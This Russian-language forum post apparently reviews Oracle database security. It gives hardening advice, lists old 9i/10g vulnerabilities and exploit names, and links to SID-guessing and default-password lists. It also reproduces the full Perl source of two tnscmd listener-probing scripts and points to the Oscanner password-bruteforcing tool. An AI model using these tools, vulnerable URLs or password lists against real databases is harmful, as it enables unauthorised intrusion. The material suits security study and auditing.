Обзор уязвимостей [Oracle] Офф.сайт www.oracle.com Список стандартных SID опубликован в открытом доступе: www.red-database-security.com/scripts/sid.txt Подбор SID: www.red-database-security.com/software/sidguess.zip Список паролей по умолчанию: www.petefinnigan.com/default/default_password_list.htm INFO По умолчанию СУБД Oracle в Windows запускается с правами администратора. Защита: 1. Установи пароль на доступ к сервису TNS Listener. 2. Включи протоколирование подключения к Листенеру для обнаружения попыток перебора паролей. 3. Не используй словарные, легко угадываемые SID-имена. 4. Ограничь доступ к системам, через которые можно узнать SID. 5. Проведи аудит используемых учетных записей: удали или отключи неиспользуемые и смени стандартные пароли системных учетных записей. 6. Внедри корпоративную парольную политику в СУБД. 7. Установи последние критические обновления или хотя бы ограничь доступ пользователям на запуск потенциально опасных процедур. 8. Проанализируй привилегии и роли пользователей, руководствуясь принципом наименьших привилегий. 9. Если возможно, отключи возможности доступа пользователей Oracle к файловой системе. Эти действия помогут наиболее полно защитить СУБД без использования дополнительных программно-аппаратных средств, позволяющих избежать неожиданных хакерских нападений. Отправка произвольных сообщений и раскрытие информации в Oracle 9i Уязвимость защиты обнаружена в нескольких типовых сценариях, поставляемых с Oracle 9i Application Server. Сценарии позволяют атакующему посылать произвольные электронные сообщения от Oracle сервера или раскрывать переменные среды и другие данные. Информация, полученная этим способом, может использоваться для организации потенциально разрушительных нападений против уязвимого сервера. Уязвимые сценарии: Code: http://servername/demo/email/sendmail.jsp http://servername/demo/info/info.jsp http://servername/cgi-bin/printenv http://servername/fcgi-bin/echo http://servername/fcgi-bin/echo2 http://servername/xsql/java/xsql/demo/adhocsql/query.xsql Уязвимость обнаружена в: Code: Oracle Oracle 9i Application Server 1.0.2 .2 Oracle Oracle 9i Application Server 1.0.2 .1s Oracle Oracle 9i Application Server 1.0.2 Oracle Oracle 9i Application Server Release 2 9.0.2 .0.1 Oracle Oracle 9i Application Server Release 2 9.0.2 0.0 Обход ограничений безопасности в продуктах Oracle Программа: Oracle9i Database Standard Edition Oracle9i Database Enterprise Edition Oracle9i Application Server Oracle Application Server 10g Oracle Database 8.x Oracle HTTP Server 8.x Oracle HTTP Server 9.x Уязвимость существует из-за ошибки в компоненте Gateway в Oracle PL/SQL при проверке подлинности определенных HTTP запросов. Удаленный пользователь может обойти ограничения списка PLSQLExclusion и получить доступ к запрещенным пакетам и процедурам с помощью специально сформированного HTTP запроса. Удачная эксплуатация уязвимости позволит злоумышленнику получить доступ с привилегиями DBA к базе данных посредством Web сервера. Раскрытие Guest пароля, секретного ключа сервера и другой чувствительной информации в Oracle E-Business Suite Уязвимость раскрытия информации обнаружена в Oracle E-Business Suite. Удаленный пользователь может получить информацию о конфигурации системы и другую диагностическую информацию. Oracle Applications Self-Service Framework (OA Framework) - основа для HRMS, iProcurement, iExpenses и других web приложений. OA Framework включает набор тестов (AOL/J Setup Test Suite), которые используются для проверки инсталляции и конфигурации. Этот набор тестов прописан в JSP странице aoljtest.jsp. AOL/J Setup Test Suite устанавливается в $COMMON_TOP/html/jsp/fnd каталоге. Несколько уязвимостей в AOL/J Setup Test Suite позволяют удаленному атакующему получить чувствительную информацию о конфигурации Oracle, без какой либо авторизации. Раскрываемая информация включает пароль GUEST пользователя и секретный ключ сервера. Уязвимость обнаружена в Oracle E-Business Suite 11i, All Releases; Oracle Applications, All Releases. Oracle 10g R1 xdb.xdb_pitrig_pkg PLSQL Injection (change sys password) Oracle 10g R1 pitrig_truncate PLSQL Injection (get users hash) Oracle 10g R1 pitrig_drop PLSQL Injection (get users hash) Oracle 10g LT.FINDRICSET Local SQL Injection Exploit (IDS evasion) Oracle 10g/11g SYS.LT.FINDRICSET Local SQL Injection Exploit (2) Oracle 10g/11g SYS.LT.FINDRICSET Local SQL Injection Exploit Oracle 10g CTX_DOC.MARKUP SQL Injection Exploit Oracle 9i/10g evil views Change Passwords Exploit (CVE-2007-3855) phpOracleView (include_all.inc.php page_dir) RFI Vulnerability Oracle 10g KUPM$MCP.MAIN SQL Injection Exploit Oracle 10g KUPM$MCP.MAIN SQL Injection Exploit v2 Oracle 10g (PROCESS_DUP_HANDLE) Local Privilege Elevation (win32) Oracle 9i/10g DBMS_METADATA.GET_DDL SQL Injection Exploit v2 Oracle 9i/10g ACTIVATE_SUBSCRIPTION SQL Injection Exploit v2 Oracle 10g KUPV$FT.ATTACH_JOB SQL Injection Exploit v2 Oracle 10g KUPW$WORKER.MAIN SQL Injection Exploit v2 Oracle 9i/10g ACTIVATE_SUBSCRIPTION SQL Injection Exploit Oracle 9i/10g DBMS_METADATA.GET_DDL SQL Injection Exploit Oracle 10g KUPV$FT.ATTACH_JOB Grant/Revoke dba Permission Exploit Oracle 10g KUPW$WORKER.MAIN Grant/Revoke dba Permission Exploit Oracle 9i/10g DBMS_EXPORT_EXTENSION SQL Injection Exploit Oracle 10g SYS.KUPV$FT.ATTACH_JOB PL/SQL Injection Exploit Oracle 10g SYS.KUPW$WORKER.MAIN PL/SQL Injection Exploit Oracle 10g SYS.DBMS_CDC_IMPDP.BUMP_SEQUENCE PL/SQL Injection Oracle <= 9i / 10g File System Access via utl_file Exploit Oracle <= 9i / 10g (extproc) Local/Remote Command Execution Exploit Oracle <= 10g Release 2 (DBMS_EXPORT_EXTENSION) Local SQL Exploit Oracle 9.2.0.1 Universal XDB HTTP Pass Overflow Exploit Oracle Database PL/SQL Statement Multiple SQL Injection Exploits Документация: Oracle Database Security Защита данных в СУБД Oracle Как организовать двойную парольную защиту данных в Oracle Ищем и прячем баги в Oracle Грубые опыты над Oracle Papers: Lateral SQL Injection: A New Class of Vulnerability in Oracle Oracle Forensics Part 5: Finding Evidence of Data Theft in the Absence Oracle Forensics Part 1: Dissecting the Redo Logs Oracle Forensics Part 2: Locating Dropped Objects Oracle Forensics Part 3: Isolating Evidence of Attacks Oracle Forensics Part 4: Live Response Dangling Cursor Snarfing: A New Class of Attack in Oracle Bypassing Oracle dbms_assert
Скрипты для посылки команд листенеру и генерации низкоуровневых запросов: tnscmd2.pl Code: #!/usr/bin/perl # # tnscmd - a lame tool to prod the oracle tnslsnr process (1521/tcp) # tested under Linux x86 & OpenBSD Sparc + perl5 # # Initial cruft: [email protected] 5 Oct 2000 # # $Id: tnscmd,v 1.3 2001/04/26 06:45:48 jwa Exp $ # # see also: # http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html # http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0818 # http://otn.oracle.com/deploy/security/alerts.htm # http://xforce.iss.net/alerts/advise66.php # # GPL'd, of course. http://www.gnu.org/copyleft/gpl.html # # $Log: tnscmd,v $ # Revision 1.3 2001/04/26 06:45:48 jwa # typo in url. whoops. # # Revision 1.2 2001/04/26 06:42:17 jwa # complete rewrite # - use IO::Socket instead of tcp_open # - got rid of pdump() # - put packet into @list and build it with pack() # - added --indent option # # use IO::Socket; use strict; # a grumpy perl interpreter is your friend select(STDOUT);$|=1; # # process arguments # my ($cmd) = $ARGV[0] if ($ARGV[0] !~ /^-/); my ($arg); while ($arg = shift @ARGV) { $main::hostname = shift @ARGV if ($arg eq "-h"); $main::port = shift @ARGV if ($arg eq "-p"); $main::logfile = shift @ARGV if ($arg eq "--logfile"); $main::fakepacketsize = shift @ARGV if ($arg eq "--packetsize"); $main::fakecmdsize = shift @ARGV if ($arg eq "--cmdsize"); $main::indent = 1 if ($arg eq "--indent"); $main::rawcmd = shift @ARGV if ($arg eq "--rawcmd"); $main::rawout = shift @ARGV if ($arg eq "--rawout"); } if ($main::hostname eq "") { print <<_EOF_; usage: $0 [command] -h hostname where 'command' is something like ping, version, status, etc. (default is ping) [-p port] - alternate TCP port to use (default is 1521) [--logfile logfile] - write raw packets to specified logfile [--indent] - indent & outdent on parens [--rawcmd command] - build your own CONNECT_DATA string [--cmdsize bytes] - fake TNS command size (reveals packet leakage) _EOF_ exit(0); } # with no commands, default to pinging port 1521 $cmd = "ping" if ($cmd eq ""); $main::port = 1521 if ($main::port eq ""); # 1541, 1521.. DBAs are so whimsical # # main # my ($command); if (defined($main::rawcmd)) { $command = $main::rawcmd; } else { $command = "(CONNECT_DATA=(COMMAND=$cmd))"; } my $response = tnscmd($command); viewtns($response); exit(0); # # build the packet, open the socket, send the packet, return the response # sub tnscmd { my ($command) = shift @_; my ($packetlen, $cmdlen); my ($clenH, $clenL, $plenH, $plenL); my ($i); print "sending $command to $main::hostname:$main::port\n"; if ($main::fakecmdsize ne "") { $cmdlen = $main::fakecmdsize; print "Faking command length to $cmdlen bytes\n"; } else { $cmdlen = length ($command); } $clenH = $cmdlen >> 8; $clenL = $cmdlen & 0xff; # calculate packet length if (defined($main::fakepacketsize)) { print "Faking packet length to $main::fakepacketsize bytes\n"; $packetlen = $main::fakepacketsize; } else { $packetlen = length($command) + 58; # "preamble" is 58 bytes } $plenH = $packetlen >> 8; $plenL = $packetlen & 0xff; $packetlen = length($command) + 58 if (defined($main::fakepacketsize)); # decimal offset # 0: packetlen_high packetlen_low # 26: cmdlen_high cmdlen_low # 58: command # the packet. my (@packet) = ( $plenH, $plenL, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x36, 0x01, 0x2c, 0x00, 0x00, 0x08, 0x00, 0x7f, 0xff, 0x7f, 0x08, 0x00, 0x00, 0x00, 0x01, $clenH, $clenL, 0x00, 0x3a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0xe6, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ); for ($i=0;$i<length($command);$i++) { push(@packet, ord(substr($command, $i, 1))); } my ($sendbuf) = pack("C*", @packet); print "connect "; my ($tns_sock) = IO::Socket::INET->new( PeerAddr => $main::hostname, PeerPort => $main::port, Proto => 'tcp', Type => SOCK_STREAM, Timeout => 30) || die "connect to $main::hostname failure: $!"; $tns_sock->autoflush(1); print "\rwriting " . length($sendbuf) . " bytes\n"; if (defined($main::logfile)) { open(SEND, ">$main::logfile.send") || die "can't write $main::logfile.send: $!"; print SEND $sendbuf || die "write to logfile failed: $!"; close(SEND); } my ($count) = syswrite($tns_sock, $sendbuf, length($sendbuf)); if ($count != length($sendbuf)) { print "only wrote $count bytes?!"; exit 1; } print "reading\n"; # get fun data # 1st 12 bytes have some meaning which so far eludes me if (defined($main::logfile)) { open(REC, ">$main::logfile.rec") || die "can't write $main::logfile.rec: $!"; } my ($buf, $recvbuf); # read until socket EOF while (sysread($tns_sock, $buf, 128)) { print REC $buf if (defined($main::logfile)); $recvbuf .= $buf; } close (REC) if (defined($main::logfile)); close ($tns_sock); return $recvbuf; } sub viewtns { my ($response) = shift @_; # should have a hexdump option . . . if ($main::raw) { print $response; } else { $response =~ tr/\200-\377/\000-\177/; # strip high bits $response =~ tr/\000-\027/\./; $response =~ tr/\177/\./; if ($main::indent) { parenify($response); } else { print $response; } print "\n"; } } sub parenify { my ($buf) = shift @_; my ($i, $c); my ($indent, $o_indent); for ($i=0;$i<length($buf);$i++) { $c = substr($buf, $i, 1); $indent++ if ($c eq "("); $indent-- if ($c eq ")"); if ($indent != $o_indent) { print "\n" unless(substr($buf, $i+1, 1) eq "("); print " " x $indent; $o_indent = $indent; undef $c; } print $c; } }
tnscmd10g.pl Code: #!/usr/bin/perl # # tnscmd - a lame tool to prod the oracle tnslsnr process (1521/tcp) # tested under Linux x86 & OpenBSD Sparc + perl5 # # Initial cruft: [email protected] 5 Oct 2000 # # $Id: tnscmd,v 1.3 2001/04/26 06:45:48 jwa Exp $ # # see also: # http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html # http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0818 # http://otn.oracle.com/deploy/security/alerts.htm # http://xforce.iss.net/alerts/advise66.php # # GPL'd, of course. http://www.gnu.org/copyleft/gpl.html # # $Log: tnscmd,v $ # Revision 1.3 2001/04/26 06:45:48 jwa # typo in url. whoops. # # Revision 1.2 2001/04/26 06:42:17 jwa # complete rewrite # - use IO::Socket instead of tcp_open # - got rid of pdump() # - put packet into @list and build it with pack() # - added --indent option # # Revision 1.3 2005/11/03 by I.A. Saez Scheihing ([email protected]) # -- made it work against Oracle 10G # -- shows TNS error text use IO::Socket; use strict; # a grumpy perl interpreter is your friend select(STDOUT);$|=1; # # process arguments # my ($cmd) = $ARGV[0] if ($ARGV[0] !~ /^-/); my ($arg); my ($tnsdebug) = 0; # set it to 1 to show some debug information while ($arg = shift @ARGV) { $main::hostname = shift @ARGV if ($arg eq "-h"); $main::port = shift @ARGV if ($arg eq "-p"); $main::logfile = shift @ARGV if ($arg eq "--logfile"); $main::fakepacketsize = shift @ARGV if ($arg eq "--packetsize"); $main::fakecmdsize = shift @ARGV if ($arg eq "--cmdsize"); $main::indent = 1 if ($arg eq "--indent"); $main::o10g = 1 if ($arg eq "--10G"); $main::rawcmd = shift @ARGV if ($arg eq "--rawcmd"); $main::rawout = shift @ARGV if ($arg eq "--rawout"); } if ($main::hostname eq "") { print <<_EOF_; usage: $0 [command] -h hostname where 'command' is something like ping, version, status, etc. (default is ping) [-p port] - alternate TCP port to use (default is 1521) [--logfile logfile] - write raw packets to specified logfile [--indent] - indent & outdent on parens [--10G] - make it work against 10G [--rawcmd command] - build your own CONNECT_DATA string [--cmdsize bytes] - fake TNS command size (reveals packet leakage) _EOF_ exit(0); } # with no commands, default to pinging port 1521 $cmd = "ping" if ($cmd eq ""); $main::port = 1521 if ($main::port eq ""); # 1541, 1521.. DBAs are so whimsical # # main # my ($command); if (defined($main::rawcmd)) { $command = $main::rawcmd; } else { if ( $main::o10g ) { $command = "(CONNECT_DATA=(CID=(PROGRAM=)(HOST=linux)(USER=oracle))(COMMAND=$cmd)(ARGUMENTS=64)(SERVICE=LISTENER)(VERSION=169869568))"; } else { $command = "(CONNECT_DATA=(COMMAND=$cmd))"; } } my $response = tnscmd($command); viewtns($response); exit(0); # # build the packet, open the socket, send the packet, return the response # sub tnscmd { my ($command) = shift @_; my ($packetlen, $cmdlen); my ($clenH, $clenL, $plenH, $plenL); my ($i); print "sending $command to $main::hostname:$main::port\n"; if ($main::fakecmdsize ne "") { $cmdlen = $main::fakecmdsize; print "Faking command length to $cmdlen bytes\n"; } else { $cmdlen = length ($command); } $clenH = $cmdlen >> 8; $clenL = $cmdlen & 0xff; print "cmdlen is $cmdlen clenH is $clenH clenL is $clenL\n" if($tnsdebug); # calculate packet length if (defined($main::fakepacketsize)) { print "Faking packet length to $main::fakepacketsize bytes\n"; $packetlen = $main::fakepacketsize; } else { $packetlen = length($command) + 58; # "preamble" is 58 bytes } $plenH = $packetlen >> 8; $plenL = $packetlen & 0xff; print "cmdlen is $cmdlen clenH is $clenH clenL is $clenL\n" if ($tnsdebug); print "plenH is $plenH plenL is $plenL\n" if ($tnsdebug) ; $packetlen = length($command) + 58 if (defined($main::fakepacketsize)); # decimal offset # 0: packetlen_high packetlen_low # 26: cmdlen_high cmdlen_low # 58: command # the packet. if ( $main::o10g ) { # Oracle 10g @main::packet = ( $plenH,$plenL,0x00,0x00,0x01,0x00,0x00,0x00, 0x01,0x39,0x01,0x2c,0x00,0x81,0x08,0x00, 0x7f,0xff,0x7f,0x08,0x00,0x00,0x01,0x00, $clenH,$clenL,0x00,0x3a,0x00,0x00,0x07,0xf8, 0x0c,0x0c,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00 ); } else { @main::packet = ( $plenH, $plenL, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x36, 0x01, 0x2c, 0x00, 0x00, 0x08, 0x00, 0x7f, 0xff, 0x7f, 0x08, 0x00, 0x00, 0x00, 0x01, $clenH, $clenL, 0x00, 0x3a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0xe6, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ); } for ($i=0;$i<length($command);$i++) { push(@main::packet, ord(substr($command, $i, 1))); } my ($sendbuf) = pack("C*", @main::packet); print "connect "; my ($tns_sock) = IO::Socket::INET->new( PeerAddr => $main::hostname, PeerPort => $main::port, Proto => 'tcp', Type => SOCK_STREAM, Timeout => 30) || die "connect to $main::hostname failure: $!"; $tns_sock->autoflush(1); print "\rwriting " . length($sendbuf) . " bytes\n"; if (defined($main::logfile)) { open(SEND, ">$main::logfile.send") || die "can't write $main::logfile.send: $!"; print SEND $sendbuf || die "write to logfile failed: $!"; close(SEND); } my ($count) = syswrite($tns_sock, $sendbuf, length($sendbuf)); if ($count != length($sendbuf)) { print "only wrote $count bytes?!"; exit 1; } if ( $main::o10g ) { # if Oracle 10G resend packet; don't know why (yet) my ($count) = syswrite($tns_sock, $sendbuf, length($sendbuf)); } print "reading\n"; # get fun data # 1st 12 bytes have some meaning which so far eludes me if (defined($main::logfile)) { open(REC, ">$main::logfile.rec") || die "can't write $main::logfile.rec: $!"; } my ($buf, $recvbuf); # read until socket EOF while (sysread($tns_sock, $buf, 128)) { print REC $buf if (defined($main::logfile)); $recvbuf .= $buf; } close (REC) if (defined($main::logfile)); close ($tns_sock); return $recvbuf; } sub viewtns { my ($response) = shift @_; if ($main::raw) { print $response; } else { $response =~ tr/\200-\377/\000-\177/; # strip high bits $response =~ tr/\000-\027/\./; $response =~ tr/\177/\./; if ($main::indent) { parenify($response); } else { print $response; } print "\n"; } } sub parenify { my ($buf) = shift @_; my ($i, $c); my ($indent, $o_indent); for ($i=0;$i<length($buf);$i++) { $c = substr($buf, $i, 1); $indent++ if ($c eq "("); $indent-- if ($c eq ")"); if ($indent != $o_indent) { print "\n" unless(substr($buf, $i+1, 1) eq "("); print " " x $indent; $o_indent = $indent; undef $c; } print $c; } }
Oscanner 1.0.6 - программа для перебора паролей и анализа безопасности СУБД Oracle. Для того что бы прога заработала надо установить Java www.java.com Download